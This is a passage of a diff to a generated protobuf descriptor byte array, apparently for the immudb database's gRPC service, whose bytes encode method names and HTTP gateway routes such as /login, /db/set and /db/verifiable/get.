0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, - 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, - 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, + 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, + 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, + 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, + 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, - 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, - 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, + 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, + 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, - 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, - 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, - 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, - 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, - 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, - 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, - 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, - 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, - 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, - 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, - 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, - 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, - 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, - 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, - 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, - 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, - 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, - 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, - 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 